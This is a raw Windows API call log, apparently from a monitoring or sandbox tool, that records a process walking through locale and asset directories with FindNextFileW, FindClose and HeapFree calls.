	[0173.881] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1
	[0173.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0173.920] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.920] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0173.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0173.920] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbda30 | out: lpFindFileData=0x2fbda30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08b505c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.920] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0173.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0173.920] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1
	[0173.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0173.922] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbda30 | out: lpFindFileData=0x2fbda30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1
	[0173.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0173.945] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0173.955] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0173.955] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0173.956] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0174.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.182] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0174.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.182] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0174.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.182] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0174.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.182] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0174.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.183] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0174.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.187] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0174.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.187] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0174.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.192] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0174.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.192] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0174.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.193] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0174.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.195] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0174.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.197] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0174.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.197] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0174.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.197] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0174.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.199] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0174.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.201] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0174.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.201] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0174.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.203] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0174.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.204] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0174.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.207] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0174.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.207] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0174.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.208] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0174.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.219] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0174.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.220] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0174.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.220] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0174.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.220] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0174.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.220] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.220] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0174.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
